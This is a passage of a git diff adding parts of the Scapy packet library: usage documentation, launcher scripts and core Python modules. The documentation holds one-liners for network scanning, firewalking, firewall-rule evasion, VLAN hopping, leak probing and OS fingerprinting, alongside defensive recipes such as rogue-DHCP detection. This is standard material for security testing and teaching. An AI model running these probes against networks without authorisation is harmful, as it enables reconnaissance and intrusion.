+    >>> res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )
+    
+    
+IKE Scanning
+------------
+
+We try to identify VPN concentrators by sending ISAKMP Security Association proposals
+and receiving the answers::
+
+    >>> res, unans = sr( IP(dst="192.168.1.*")/UDP()
+                    /ISAKMP(init_cookie=RandString(8), exch_type="identity prot.") 
+                    /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal()) 
+                  ) 
+
+Visualizing the results in a list::
+
+    >>> res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP) ) 
+    
+  
+
+Advanced traceroute
+-------------------
+
+TCP SYN traceroute
+^^^^^^^^^^^^^^^^^^
+
+::
+
+    >>> ans, unans = sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S"))
+
+Results would be::
+
+    >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"))
+    192.168.1.1     time-exceeded
+    68.86.90.162    time-exceeded
+    4.79.43.134     time-exceeded
+    4.79.43.133     time-exceeded
+    4.68.18.126     time-exceeded
+    4.68.123.38     time-exceeded
+    4.2.2.1         SA
+
+
+UDP traceroute
+^^^^^^^^^^^^^^
+
+Tracerouting an UDP application like we do with TCP is not 
+reliable, because there's no handshake. We need to give an applicative payload (DNS, ISAKMP, 
+NTP, etc.) to deserve an answer::
+
+    >>> res, unans = sr(IP(dst="target", ttl=(1,20))
+                  /UDP()/DNS(qd=DNSQR(qname="test.com")) 
+
+We can visualize the results as a list of routers::
+
+    >>> res.make_table(lambda (s,r): (s.dst, s.ttl, r.src)) 
+
+
+DNS traceroute
+^^^^^^^^^^^^^^
+
+We can perform a DNS traceroute by specifying a complete packet in ``l4`` parameter of ``traceroute()`` function::
+
+    >>> ans, unans = traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))
+    Begin emission:
+    ..*....******...******.***...****Finished to send 30 packets.
+    *****...***...............................
+    Received 75 packets, got 28 answers, remaining 2 packets
+       4.2.2.1:udp53      
+    1  192.168.1.1     11 
+    4  68.86.90.162    11 
+    5  4.79.43.134     11 
+    6  4.79.43.133     11 
+    7  4.68.18.62      11 
+    8  4.68.123.6      11 
+    9  4.2.2.1            
+    ...
+
+
+Etherleaking 
+------------
+
+::
+
+    >>> sr1(IP(dst="172.16.1.232")/ICMP()) 
+    <IP src=172.16.1.232 proto=1 [...] |<ICMP code=0 type=0 [...]| 
+    <Padding load=’0O\x02\x01\x00\x04\x06public\xa2B\x02\x02\x1e’ |>>> 
+
+ICMP leaking
+------------ 
+
+This was a Linux 2.0 bug:: 
+
+    >>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP()) 
+    <IP src=172.16.1.1 [...] |<ICMP code=0 type=12 [...] | 
+    <IPerror src=172.16.1.24 options=’\x02\x00\x00\x00’ [...] | 
+    <ICMPerror code=0 type=8 id=0x0 seq=0x0 chksum=0xf7ff | 
+    <Padding load=’\x00[...]\x00\x1d.\x00V\x1f\xaf\xd9\xd4;\xca’ |>>>>> 
+
+
+VLAN hopping 
+------------
+
+In very specific conditions, a double 802.1q encapsulation will 
+make a packet jump to another VLAN::
+ 
+    >>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP()) 
+
+
+Wireless sniffing
+-----------------
+
+The following command will display information similar to most wireless sniffers::
+
+>>> sniff(iface="ath0",prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\t%Dot11Beacon.cap%}"))
+
+The above command will produce output similar to the one below::
+
+    00:00:00:01:02:03 netgear      6L   ESS+privacy+PBCC
+    11:22:33:44:55:66 wireless_100 6L   short-slot+ESS+privacy
+    44:55:66:00:11:22 linksys      6L   short-slot+ESS+privacy
+    12:34:56:78:90:12 NETGEAR      6L   short-slot+ESS+privacy+short-preamble
+
+
+Recipes 
+=======
+
+Simplistic ARP Monitor
+----------------------
+
+This program uses the ``sniff()`` callback (paramter prn). The store parameter is set to 0 so that the ``sniff()`` function will not store anything (as it would do otherwise) and thus can run forever. The filter parameter is used for better performances on high load : the filter is applied inside the kernel and Scapy will only see ARP traffic.
+
+::
+
+    #! /usr/bin/env python
+    from scapy.all import *
+    
+    def arp_monitor_callback(pkt):
+        if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
+            return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")
+    
+    sniff(prn=arp_monitor_callback, filter="arp", store=0)
+
+Identifying rogue DHCP servers on your LAN 
+-------------------------------------------
+
+.. index::
+   single: DHCP
+
+Problem
+^^^^^^^
+
+You suspect that someone has installed an additional, unauthorized DHCP server on your LAN -- either unintentionally or maliciously. 
+Thus you want to check for any active DHCP servers and identify their IP and MAC addresses.  
+
+Solution
+^^^^^^^^
+
+Use Scapy to send a DHCP discover request and analyze the replies::
+
+    >>> conf.checkIPaddr = False
+    >>> fam,hw = get_if_raw_hwaddr(conf.iface)
+    >>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"])
+    >>> ans, unans = srp(dhcp_discover, multi=True)      # Press CTRL-C after several seconds
+    Begin emission:
+    Finished to send 1 packets.
+    .*...*..
+    Received 8 packets, got 2 answers, remaining 0 packets
+
+In this case we got 2 replies, so there were two active DHCP servers on the test network::
+
+    >>> ans.summary()
+    Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
+    Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
+    }}}
+    We are only interested in the MAC and IP addresses of the replies: 
+    {{{
+    >>> for p in ans: print p[1][Ether].src, p[1][IP].src
+    ...
+    00:de:ad:be:ef:00 192.168.1.1
+    00:11:11:22:22:33 192.168.1.11
+
+Discussion
+^^^^^^^^^^
+
+We specify ``multi=True`` to make Scapy wait for more answer packets after the first response is received.
+This is also the reason why we can't use the more convenient ``dhcp_request()`` function and have to construct the DCHP packet manually: ``dhcp_request()`` uses ``srp1()`` for sending and receiving and thus would immediately return after the first answer packet. 
+
+Moreover, Scapy normally makes sure that replies come from the same IP address the stimulus was sent to. But our DHCP packet is sent to the IP broadcast address (255.255.255.255) and any answer packet will have the IP address of the replying DHCP server as its source IP address (e.g. 192.168.1.1). Because these IP addresses don't match, we have to disable Scapy's check with ``conf.checkIPaddr = False`` before sending the stimulus.  
+
+See also
+^^^^^^^^
+
+http://en.wikipedia.org/wiki/Rogue_DHCP
+
+
+
+Firewalking 
+-----------
+
+TTL decrementation after a filtering operation 
+only not filtered packets generate an ICMP TTL exceeded 
+
+    >>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024))) 
+    >>> for s,r in ans: 
+            if r.haslayer(ICMP) and r.payload.type == 11: 
+                print s.dport 
+
+Find subnets on a multi-NIC firewall 
+only his own NIC’s IP are reachable with this TTL:: 
+
+    >>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP()) 
+    >>> for i in unans: print i.dst
+
+
+TCP Timestamp Filtering
+------------------------
+
+Problem
+^^^^^^^
+
+Many firewalls include a rule to drop TCP packets that do not have TCP Timestamp option set which is a common occurrence in popular port scanners.
+
+Solution
+^^^^^^^^
+
+To allow Scapy to reach target destination additional options must be used::
+
+    >>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))]))
+
+
+
+Viewing packets with Wireshark
+------------------------------
+
+.. index::
+   single: wireshark()
+
+Problem
+^^^^^^^
+
+You have generated or sniffed some packets with Scapy and want to view them with `Wireshark <http://www.wireshark.org>`_, because of its advanced packet dissection abilities.
+
+Solution
+^^^^^^^^
+
+That's what the ``wireshark()`` function is for:
+
+    >>> packets = Ether()/IP(dst=Net("google.com/30"))/ICMP()     # first generate some packets
+    >>> wireshark(packets)                                        # show them with Wireshark
+
+Wireshark will start in the background and show your packets.
+ 
+Discussion
+^^^^^^^^^^
+
+The ``wireshark()`` function generates a temporary pcap-file containing your packets, starts Wireshark in the background and makes it read the file on startup.   
+
+Please remember that Wireshark works with Layer 2 packets (usually called "frames"). So we had to add an ``Ether()`` header to our ICMP packets. Passing just IP packets (layer 3) to Wireshark will give strange results.
+
+You can tell Scapy where to find the Wireshark executable by changing the ``conf.prog.wireshark`` configuration setting.
+
+
+
+OS Fingerprinting
+-----------------
+
+ISN
+^^^
+
+Scapy can be used to analyze ISN (Initial Sequence Number) increments to possibly discover vulnerable systems. First we will collect target responses by sending a number of SYN probes in a loop::
+
+    >>> ans, unans = srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S"))
+
+Once we obtain a reasonable number of responses we can start analyzing collected data with something like this:
+
+    >>> temp = 0
+    >>> for s, r in ans:
+    ...    temp = r[TCP].seq - temp
+    ...    print("%d\t+%d" % (r[TCP].seq, temp))
+    ... 
+    4278709328      +4275758673
+    4279655607      +3896934
+    4280642461      +4276745527
+    4281648240      +4902713
+    4282645099      +4277742386
+    4283643696      +5901310
+
+nmap_fp
+^^^^^^^
+
+Nmap fingerprinting (the old "1st generation" one that was done by Nmap up to v4.20) is supported in Scapy. In Scapy v2 you have to load an extension module first::
+
+    >>> load_module("nmap")
+
+If you have Nmap installed you can use it's active os fingerprinting database with Scapy. Make sure that version 1 of signature database is located in the path specified by::
+
+    >>> conf.nmap_base
+
+Then you can use the ``nmap_fp()`` function which implements same probes as in Nmap's OS Detection engine::
+
+    >>> nmap_fp("192.168.1.1",oport=443,cport=1)
+    Begin emission:
+    .****..**Finished to send 8 packets.
+    *................................................
+    Received 58 packets, got 7 answers, remaining 1 packets
+    (1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch', 
+    'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86)
+    w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11'])
+
+p0f
+^^^
+
+If you have p0f installed on your system, you can use it to guess OS name and version right from Scapy (only SYN database is used). First make sure that p0f database exists in the path specified by::
+
+    >>> conf.p0f_base
+
+For example to guess OS from a single captured packet:
+
+    >>> sniff(prn=prnp0f)
+    192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs)
+      -> 74.125.19.104:www (distance 0)
+    <Sniffed: TCP:339 UDP:2 ICMP:0 Other:156>
+
+
+
diff --git a/doc/scapy_logo.png b/doc/scapy_logo.png
new file mode 100644
index 0000000..5b8e9eb
--- /dev/null
+++ b/doc/scapy_logo.png
Binary files differ
diff --git a/run_scapy b/run_scapy
new file mode 100755
index 0000000..0eacb4a
--- /dev/null
+++ b/run_scapy
@@ -0,0 +1,5 @@
+#! /bin/sh
+DIR=$(dirname $0)
+PYTHONDONTWRITEBYTECODE=True
+PYTHON=${PYTHON:-python}
+PYTHONPATH=$DIR exec $PYTHON -m scapy.__init__ $@
diff --git a/run_scapy.bat b/run_scapy.bat
new file mode 100644
index 0000000..d31cacd
--- /dev/null
+++ b/run_scapy.bat
@@ -0,0 +1,8 @@
+@echo off
+call run_scapy_py2.bat --nopause
+if errorlevel 1 (
+   call run_scapy_py3.bat --nopause
+)
+if errorlevel 1 (
+   PAUSE
+)
\ No newline at end of file
diff --git a/run_scapy_py2 b/run_scapy_py2
new file mode 100755
index 0000000..7276e2a
--- /dev/null
+++ b/run_scapy_py2
@@ -0,0 +1,3 @@
+#! /bin/sh
+PYTHON=python2
+. $(dirname $0)/run_scapy "$@"
diff --git a/run_scapy_py2.bat b/run_scapy_py2.bat
new file mode 100644
index 0000000..b312541
--- /dev/null
+++ b/run_scapy_py2.bat
@@ -0,0 +1,13 @@
+@echo off
+set PYTHONPATH=%cd%
+set PYTHONDONTWRITEBYTECODE=True
+if "%1"=="--nopause" (
+  set nopause="True"
+  python -m scapy.__init__
+) else (
+  set nopause="False"
+  python -m scapy.__init__ %*
+)
+if %errorlevel%==1 if NOT "%nopause%"=="True" (
+   PAUSE
+)
diff --git a/run_scapy_py3 b/run_scapy_py3
new file mode 100755
index 0000000..6f983c7
--- /dev/null
+++ b/run_scapy_py3
@@ -0,0 +1,3 @@
+#! /bin/sh
+PYTHON=python3
+. $(dirname $0)/run_scapy "$@"
diff --git a/run_scapy_py3.bat b/run_scapy_py3.bat
new file mode 100644
index 0000000..e19c16d
--- /dev/null
+++ b/run_scapy_py3.bat
@@ -0,0 +1,13 @@
+@echo off
+set PYTHONPATH=%cd%
+set PYTHONDONTWRITEBYTECODE=True
+if "%1"=="--nopause" (
+  set nopause="True"
+  python3 -m scapy.__init__
+) else (
+  set nopause="False"
+  python3 -m scapy.__init__ %*
+)
+if %errorlevel%==1 if NOT "%nopause%"=="True" (
+   PAUSE
+)
diff --git a/scapy/__init__.py b/scapy/__init__.py
new file mode 100644
index 0000000..4f38578
--- /dev/null
+++ b/scapy/__init__.py
@@ -0,0 +1,93 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Scapy: create, send, sniff, dissect and manipulate network packets.
+
+Usable either from an interactive console or as a Python library.
+http://www.secdev.org/projects/scapy
+"""
+
+import os
+import re
+import subprocess
+
+
+_SCAPY_PKG_DIR = os.path.dirname(__file__)
+
+def _version_from_git_describe():
+    """
+    Read the version from ``git describe``. It returns the latest tag with an
+    optional suffix if the current directory is not exactly on the tag.
+
+    Example::
+
+        $ git describe --always
+        v2.3.2-346-g164a52c075c8
+
+    The tag prefix (``v``) and the git commit sha1 (``-g164a52c075c8``) are
+    removed if present.
+
+    If the current directory is not exactly on the tag, a ``.devN`` suffix is
+    appended where N is the number of commits made after the last tag.
+
+    Example::
+
+        >>> _version_from_git_describe()
+        '2.3.2.dev346'
+    """
+    if not os.path.isdir(os.path.join(os.path.dirname(_SCAPY_PKG_DIR), '.git')):
+        raise ValueError('not in scapy git repo')
+
+    p = subprocess.Popen(['git', 'describe', '--always'], cwd=_SCAPY_PKG_DIR,
+                         stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+
+    out, err = p.communicate()
+
+    if p.returncode == 0:
+        tag = out.decode().strip()
+        match = re.match('^v?(.+?)-(\\d+)-g[a-f0-9]+$', tag)
+        if match:
+            # remove the 'v' prefix and add a '.devN' suffix
+            return '%s.dev%s' % (match.group(1), match.group(2))
+        else:
+            # just remove the 'v' prefix
+            return re.sub('^v', '', tag)
+    else:
+        raise subprocess.CalledProcessError(p.returncode, err)
+
+def _version():
+    version_file = os.path.join(_SCAPY_PKG_DIR, 'VERSION')
+    try:
+        tag = _version_from_git_describe()
+        # successfully read the tag from git, write it in VERSION for
+        # installation and/or archive generation.
+        with open(version_file, 'w') as f:
+            f.write(tag)
+        return tag
+    except:
+        # failed to read the tag from git, try to read it from a VERSION file
+        try:
+            with open(version_file, 'r') as f:
+                tag = f.read()
+            return tag
+        except:
+            # Rely on git archive "export-subst" git attribute.
+            # See 'man gitattributes' for more details.
+            git_archive_id = '$Format:%h %d$'
+            sha1 = git_archive_id.strip().split()[0]
+            match = re.search('tag:(\\S+)', git_archive_id)
+            if match:
+                return "git-archive.dev" + match.group(1)
+            elif sha1:
+                return "git-archive.dev" + sha1
+            else:
+                return 'unknown.version'
+
+VERSION = _version()
+
+if __name__ == "__main__":
+    from scapy.main import interact
+    interact()
diff --git a/scapy/all.py b/scapy/all.py
new file mode 100644
index 0000000..4135c52
--- /dev/null
+++ b/scapy/all.py
@@ -0,0 +1,49 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Aggregate top level objects from all Scapy modules.
+"""
+
+from scapy.base_classes import *
+from scapy.config import *
+from scapy.dadict import *
+from scapy.data import *
+from scapy.error import *
+from scapy.themes import *
+from scapy.arch import *
+
+from scapy.plist import *
+from scapy.fields import *
+from scapy.packet import *
+from scapy.asn1fields import *
+from scapy.asn1packet import *
+
+from scapy.utils import *
+from scapy.route import *
+if conf.ipv6_enabled:
+    from scapy.utils6 import *
+    from scapy.route6 import *
+from scapy.sendrecv import *
+from scapy.supersocket import *
+from scapy.volatile import *
+from scapy.as_resolvers import *
+
+from scapy.ansmachine import *
+from scapy.automaton import *
+from scapy.autorun import *
+
+from scapy.main import *
+from scapy.consts import *
+from scapy.compat import raw
+
+from scapy.layers.all import *
+
+from scapy.asn1.asn1 import *
+from scapy.asn1.ber import *
+from scapy.asn1.mib import *
+
+from scapy.pipetool import *
+from scapy.scapypipes import *
diff --git a/scapy/ansmachine.py b/scapy/ansmachine.py
new file mode 100644
index 0000000..09c7d44
--- /dev/null
+++ b/scapy/ansmachine.py
@@ -0,0 +1,132 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Answering machines.
+"""
+
+########################
+## Answering machines ##
+########################
+
+from __future__ import absolute_import
+from __future__ import print_function
+from scapy.sendrecv import send,sendp,sniff
+from scapy.config import conf
+from scapy.error import log_interactive
+import scapy.modules.six as six
+
+class ReferenceAM(type):
+    def __new__(cls, name, bases, dct):
+        o = super(ReferenceAM, cls).__new__(cls, name, bases, dct)
+        if o.function_name:
+            globals()[o.function_name] = lambda o=o,*args,**kargs: o(*args,**kargs)()
+        return o
+
+
+class AnsweringMachine(six.with_metaclass(ReferenceAM, object)):
+    function_name = ""
+    filter = None
+    sniff_options = { "store":0 }
+    sniff_options_list = [ "store", "iface", "count", "promisc", "filter", "type", "prn", "stop_filter" ]
+    send_options = { "verbose":0 }
+    send_options_list = ["iface", "inter", "loop", "verbose"]
+    send_function = staticmethod(send)
+    
+    
+    def __init__(self, **kargs):
+        self.mode = 0
+        if self.filter:
+            kargs.setdefault("filter",self.filter)
+        kargs.setdefault("prn", self.reply)
+        self.optam1 = {}
+        self.optam2 = {}
+        self.optam0 = {}
+        doptsend,doptsniff = self.parse_all_options(1, kargs)
+        self.defoptsend = self.send_options.copy()
+        self.defoptsend.update(doptsend)
+        self.defoptsniff = self.sniff_options.copy()
+        self.defoptsniff.update(doptsniff)
+        self.optsend,self.optsniff = [{},{}]
+
+    def __getattr__(self, attr):
+        for d in [self.optam2, self.optam1]:
+            if attr in d:
+                return d[attr]
+        raise AttributeError(attr)
+                
+    def __setattr__(self, attr, val):
+        mode = self.__dict__.get("mode",0)
+        if mode == 0:
+            self.__dict__[attr] = val
+        else:
+            [self.optam1, self.optam2][mode-1][attr] = val
+
+    def parse_options(self):
+        pass
+
+    def parse_all_options(self, mode, kargs):
+        sniffopt = {}
+        sendopt = {}
+        for k in list(kargs):  # use list(): kargs is modified in the loop
+            if k in self.sniff_options_list:
+                sniffopt[k] = kargs[k]
+            if k in self.send_options_list:
+                sendopt[k] = kargs[k]
+            if k in self.sniff_options_list+self.send_options_list:
+                del kargs[k]
+        if mode != 2 or kargs:
+            if mode == 1:
+                self.optam0 = kargs
+            elif mode == 2 and kargs:
+                k = self.optam0.copy()
+                k.update(kargs)
+                self.parse_options(**k)
+                kargs = k 
+            omode = self.__dict__.get("mode",0)
+            self.__dict__["mode"] = mode
+            self.parse_options(**kargs)
+            self.__dict__["mode"] = omode
+        return sendopt,sniffopt
+
+    def is_request(self, req):
+        return 1
+
+    def make_reply(self, req):
+        return req
+
+    def send_reply(self, reply):
+        self.send_function(reply, **self.optsend)
+
+    def print_reply(self, req, reply):
+        print("%s ==> %s" % (req.summary(),reply.summary()))
+
+    def reply(self, pkt):
+        if not self.is_request(pkt):
+            return
+        reply = self.make_reply(pkt)
+        self.send_reply(reply)
+        if conf.verb >= 0:
+            self.print_reply(pkt, reply)
+
+    def run(self, *args, **kargs):
+        log_interactive.warning("run() method deprecated. The instance is now callable")
+        self(*args,**kargs)
+
+    def __call__(self, *args, **kargs):
+        optsend,optsniff = self.parse_all_options(2,kargs)
+        self.optsend=self.defoptsend.copy()
+        self.optsend.update(optsend)
+        self.optsniff=self.defoptsniff.copy()
+        self.optsniff.update(optsniff)
+
+        try:
+            self.sniff()
+        except KeyboardInterrupt:
+            print("Interrupted by user")
+        
+    def sniff(self):
+        sniff(**self.optsniff)
+
diff --git a/scapy/arch/__init__.py b/scapy/arch/__init__.py
new file mode 100644
index 0000000..ef6fbb2
--- /dev/null
+++ b/scapy/arch/__init__.py
@@ -0,0 +1,98 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Operating system specific functionality.
+"""
+
+from __future__ import absolute_import
+import socket
+
+from scapy.consts import LINUX, OPENBSD, FREEBSD, NETBSD, DARWIN, \
+    SOLARIS, WINDOWS, BSD, IS_64BITS, LOOPBACK_NAME, plt, MATPLOTLIB_INLINED, \
+    MATPLOTLIB_DEFAULT_PLOT_KARGS, PYX
+from scapy.error import *
+import scapy.config
+from scapy.pton_ntop import inet_pton
+from scapy.data import *
+
+def str2mac(s):
+    return ("%02x:"*6)[:-1] % tuple(orb(x) for x in s)
+
+if not WINDOWS:
+    if not scapy.config.conf.use_pcap and not scapy.config.conf.use_dnet:
+        from scapy.arch.bpf.core import get_if_raw_addr
+
+def get_if_addr(iff):
+    return socket.inet_ntoa(get_if_raw_addr(iff))
+    
+def get_if_hwaddr(iff):
+    addrfamily, mac = get_if_raw_hwaddr(iff)
+    if addrfamily in [ARPHDR_ETHER,ARPHDR_LOOPBACK]:
+        return str2mac(mac)
+    else:
+        raise Scapy_Exception("Unsupported address family (%i) for interface [%s]" % (addrfamily,iff))
+
+
+# Next step is to import following architecture specific functions:
+# def get_if_raw_hwaddr(iff)
+# def get_if_raw_addr(iff):
+# def get_if_list():
+# def get_working_if():
+# def attach_filter(s, filter, iface):
+# def set_promisc(s,iff,val=1):
+# def read_routes():
+# def read_routes6():
+# def get_if(iff,cmd):
+# def get_if_index(iff):
+
+if LINUX:
+    from scapy.arch.linux import *
+    if scapy.config.conf.use_pcap or scapy.config.conf.use_dnet:
+        from scapy.arch.pcapdnet import *
+elif BSD:
+    from scapy.arch.unix import read_routes, read_routes6, in6_getifaddr
+
+    if scapy.config.conf.use_pcap or scapy.config.conf.use_dnet:
+        from scapy.arch.pcapdnet import *
+    else:
+        from scapy.arch.bpf.supersocket import L2bpfListenSocket, L2bpfSocket, L3bpfSocket
+        from scapy.arch.bpf.core import *
+        scapy.config.conf.use_bpf = True
+        scapy.config.conf.L2listen = L2bpfListenSocket
+        scapy.config.conf.L2socket = L2bpfSocket
+        scapy.config.conf.L3socket = L3bpfSocket
+elif SOLARIS:
+    from scapy.arch.solaris import *
+elif WINDOWS:
+    from scapy.arch.windows import *
+
+if scapy.config.conf.iface is None:
+    scapy.config.conf.iface = scapy.consts.LOOPBACK_INTERFACE
+
+
+def get_if_addr6(iff):
+    """
+    Returns the main global unicast address associated with provided 
+    interface, in human readable form. If no global address is found,
+    None is returned. 
+    """
+    for x in in6_getifaddr():
+        if x[2] == iff and x[1] == IPV6_ADDR_GLOBAL:
+            return x[0]
+        
+    return None
+
+def get_if_raw_addr6(iff):
+    """
+    Returns the main global unicast address associated with provided 
+    interface, in network format. If no global address is found, None 
+    is returned. 
+    """
+    ip6= get_if_addr6(iff)
+    if ip6 is not None:
+        return inet_pton(socket.AF_INET6, ip6)
+    
+    return None
diff --git a/scapy/arch/bpf/__init__.py b/scapy/arch/bpf/__init__.py
new file mode 100644
index 0000000..c67498a
--- /dev/null
+++ b/scapy/arch/bpf/__init__.py
@@ -0,0 +1,5 @@
+# Guillaume Valadon <guillaume@valadon.net>
+
+"""
+Scapy *BSD native support
+"""
diff --git a/scapy/arch/bpf/consts.py b/scapy/arch/bpf/consts.py
new file mode 100644
index 0000000..d4102d4
--- /dev/null
+++ b/scapy/arch/bpf/consts.py
@@ -0,0 +1,23 @@
+# Guillaume Valadon <guillaume@valadon.net>
+
+"""
+Scapy *BSD native support - constants
+"""
+
+
+from scapy.data import MTU
+
+
+SIOCGIFFLAGS = 0xc0206911
+BPF_BUFFER_LENGTH = MTU
+
+# From net/bpf.h
+BIOCIMMEDIATE = 0x80044270
+BIOCGSTATS = 0x4008426f
+BIOCPROMISC = 0x20004269
+BIOCSETIF = 0x8020426c
+BIOCSBLEN = 0xc0044266
+BIOCGBLEN = 0x40044266
+BIOCSETF = 0x80104267
+BIOCSHDRCMPLT = 0x80044275
+BIOCGDLT = 0x4004426a
diff --git a/scapy/arch/bpf/core.py b/scapy/arch/bpf/core.py
new file mode 100644
index 0000000..040067b
--- /dev/null
+++ b/scapy/arch/bpf/core.py
@@ -0,0 +1,197 @@
+# Guillaume Valadon <guillaume@valadon.net>
+
+"""
+Scapy *BSD native support - core
+"""
+
+from __future__ import absolute_import
+from scapy.config import conf
+from scapy.error import Scapy_Exception, warning
+from scapy.data import ARPHDR_LOOPBACK, ARPHDR_ETHER
+from scapy.arch.common import get_if, get_bpf_pointer
+from scapy.consts import LOOPBACK_NAME
+
+from scapy.arch.bpf.consts import *
+
+import os
+import socket
+import fcntl
+import struct
+
+from ctypes import cdll, cast, pointer, POINTER, Structure
+from ctypes import c_int, c_ulong, c_char_p
+from ctypes.util import find_library
+from scapy.modules.six.moves import range
+
+
+# ctypes definitions
+
+LIBC = cdll.LoadLibrary(find_library("libc"))
+LIBC.ioctl.argtypes = [c_int, c_ulong, c_char_p]
+LIBC.ioctl.restype = c_int
+
+
+# Addresses manipulation functions
+
+def get_if_raw_addr(ifname):
+    """Returns the IPv4 address configured on 'ifname', packed with inet_pton."""
+
+    # Get ifconfig output
+    try:
+        fd = os.popen("%s %s" % (conf.prog.ifconfig, ifname))
+    except OSError as msg:
+        warning("Failed to execute ifconfig: (%s)", msg)
+        return b"\0\0\0\0"
+
+    # Get IPv4 addresses
+    addresses = [l for l in fd if l.find("netmask") >= 0]
+    if not addresses:
+        warning("No IPv4 address found on %s !", ifname)
+        return b"\0\0\0\0"
+
+    # Pack the first address
+    address = addresses[0].split(' ')[1]
+    return socket.inet_pton(socket.AF_INET, address)
+
+
+def get_if_raw_hwaddr(ifname):
+    """Returns the packed MAC address configured on 'ifname'."""
+
+    NULL_MAC_ADDRESS = b'\x00'*6
+
+    # Handle the loopback interface separately
+    if ifname == LOOPBACK_NAME:
+        return (ARPHDR_LOOPBACK, NULL_MAC_ADDRESS)
+
+    # Get ifconfig output
+    try:
+        fd = os.popen("%s %s" % (conf.prog.ifconfig, ifname))
+    except OSError as msg:
+        raise Scapy_Exception("Failed to execute ifconfig: (%s)" % msg)
+
+    # Get MAC addresses
+    addresses = [l for l in fd.readlines() if l.find("ether") >= 0 or
+                                              l.find("lladdr") >= 0 or
+                                              l.find("address") >= 0]
+    if not addresses:
+        raise Scapy_Exception("No MAC address found on %s !" % ifname)
+
+    # Pack and return the MAC address
+    mac = addresses[0].split(' ')[1]
+    mac = [chr(int(b, 16)) for b in mac.split(':')]
+    return (ARPHDR_ETHER, ''.join(mac))
+
+
+# BPF specific functions
+
+def get_dev_bpf():
+    """Returns an opened BPF file object"""
+
+    # Get the first available BPF handle
+    for bpf in range(0, 8):
+        try:
+            fd = os.open("/dev/bpf%i" % bpf, os.O_RDWR)
+            return (fd, bpf)
+        except OSError as err:
+            continue
+
+    raise Scapy_Exception("No /dev/bpf handle is available !")
+
+
+def attach_filter(fd, iface, bpf_filter_string):
+    """Attach a BPF filter to the BPF file descriptor"""
+
+    # Retrieve the BPF byte code in decimal
+    command = "%s -i %s -ddd -s 1600 '%s'" % (conf.prog.tcpdump, iface, bpf_filter_string)
+    try:
+        f = os.popen(command)
+    except OSError as msg:
+        raise Scapy_Exception("Failed to execute tcpdump: (%s)" % msg)
+
+    # Convert the byte code to a BPF program structure
+    lines = f.readlines()
+    if lines == []:
+        raise Scapy_Exception("Got an empty BPF filter from tcpdump !")
+
+    bp = get_bpf_pointer(lines)
+    # Assign the BPF program to the interface
+    ret = LIBC.ioctl(c_int(fd), BIOCSETF, cast(pointer(bp), c_char_p))
+    if ret < 0:
+        raise Scapy_Exception("Can't attach the BPF filter !")
+
+
+# Interface manipulation functions
+
+def get_if_list():
+    """Returns a list containing all network interfaces."""
+
+    # Get ifconfig output
+    try:
+        fd = os.popen("%s -a" % conf.prog.ifconfig)
+    except OSError as msg:
+        raise Scapy_Exception("Failed to execute ifconfig: (%s)" % msg)
+
+    # Get interfaces
+    interfaces = [line[:line.find(':')] for line in fd.readlines()
+                                        if ": flags" in line.lower()]
+    return interfaces
+
+
+def get_working_ifaces():
+    """
+    Returns an ordered list of interfaces that could be used with BPF.
+    Note: the order mimics pcap_findalldevs() behavior
+    """
+
+    # Only root is allowed to perform the following ioctl() call
+    if os.getuid() != 0:
+        return []
+
+    # Test all network interfaces
+    interfaces = []
+    for ifname in get_if_list():
+
+        # Unlike pcap_findalldevs(), we do not care of loopback interfaces.
+        if ifname == LOOPBACK_NAME:
+            continue
+
+        # Get interface flags
+        try:
+            result = get_if(ifname, SIOCGIFFLAGS)
+        except IOError as msg:
+            warning("ioctl(SIOCGIFFLAGS) failed on %s !", ifname)
+            continue
+
+        # Convert flags
+        ifflags = struct.unpack("16xH14x", result)[0]
+        if ifflags & 0x1:  # IFF_UP
+
